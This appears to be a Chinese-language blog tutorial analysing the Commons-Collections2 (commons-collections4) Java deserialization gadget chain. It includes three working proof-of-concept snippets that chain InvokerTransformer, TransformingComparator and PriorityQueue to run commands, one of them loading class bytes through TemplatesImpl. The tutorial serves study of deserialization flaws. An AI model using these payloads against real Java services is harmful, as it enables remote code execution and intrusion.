Commons-Collections2反序列化

通过yso的代码可以看出,cc2利用链用的是commons-collections4版本,而我们之前用的是3.1版本。所以首先要下载一下依赖,pom文件加入:

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

调用方式1:

然后就是他前半部分的调用链变了先来看一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(1);//创建实例。注意下面的顺序改变了。
queue.add(1);
queue.add(2);//传入两个参数
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field
field.setAccessible(true);//获取访问权限
field.set(queue,comparator);//设置参数

通过poc我们发现后半部分也是用的也是invokertransformer进行触发的,这里主要看前半部分怎么调用的

还是通过跟是谁transform方法我们找到了TransformingComparator这个类中的compare方法调用了transform方法

所以我们只需将trangsformer变成invokertransformer对象就可以rce了

再来看看其构造方法

可以看到transformer是可控的所以我们现在需要找到能够触发compare的方法

我们找到了PriorityQueue类中的siftDownUsingComparator方法调用了compare方法,这里看下构造方法发现comparator也是可控的

所以现在需要找到可以触发siftDownUsingComparator的方法我们发现在本类的siftDown方法调用了该方法

并且在本类的readObject中发现heapify调用了siftDown方法

并且该size需要大于等于2才可以进入for循环所以可以构造poc了

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。
queue.add(1);
queue.add(2);//传入两个参数

运行发现在序列化之前就触发了原因在于add方法

调用了offer方法

该方法又调用了siftUp方法

发现在该方法中也调用了siftDownUsingComparator方法所以我们需要在add的时候将comparartor让其值为空,在add之后在反射将其值该为TransformingComparator对象就行poc如开头所示

cc2 调用链

调用方式2

第二种调用方法就是结合CC3中所介绍到的动态加载字节码的形式进行触发rce,因为通过上文分析的我们知道cc2会在TransformingComparator这个类中的compare方法中调用transform方法,所以这里我们想到利用Invokertransform这个类中的transform方法来调用任意类的方法,也就是通过在这里注入invokertransform对象调用transform方法在调用TemplateImpl中的newTransformer方法来进而触发动态类加载实现rce。

这里给出poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();

// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});
InvokerTransformer invokertransformer = new InvokerTransformer("newTransformer", new Class[]{}, new String[]{});
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。
queue.add(templates);
queue.add(2);//传入两个参数
Field field = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator").getDeclaredField("transformer");//反射获取成员变量的field
field.setAccessible(true);//获取访问权限
field.set(comparator,invokertransformer);//设置参数
//serialize(queue);
unserialize("ser.bin");

其实通过poc我们能够发现就是将最后改成动态调用newTransformer方法。

问题1:

这里其实我们很容易想明白就是利用invokertransform的transform方法去动态调用newTransformer方法但是你执行会发现报错找不到这个方法,是因为我们并没有将该方法的类对象传递进去这里如何不利用ChainedTransformer进行传递呢

通过调试我们可以通过add方法进行添加

他会传入到offer里面,offer会继续调用 siftUp方法

继续将我们传入的参数放进去

可以看到已经是被传递进来了。

问题2:

然后我们发现我们的poc在一开始的时候并没有将一个真的invokertransformer放进去

而是在add之后通过反射修改了其值,这里上文也说了是为了防止在add时触发rce。

问题3:

就是我们在add的时候需要传入两个templates对象吗,这里经过实验只需要对第一个传入即可,并且第一个必须传入。我们来调试看看为什么我们以只传入第一个templates对象为例进行反序列化调试

在反序列化的时候可以看到它获取的是第一个传递的参数的值

继续跟进发现确实取出来的是第一个参数的值

这里调用的也确实是x的值,结合前面两个方法分析说明第一个参数必须传入templates对象。

cc2 TemplatesImpl调用链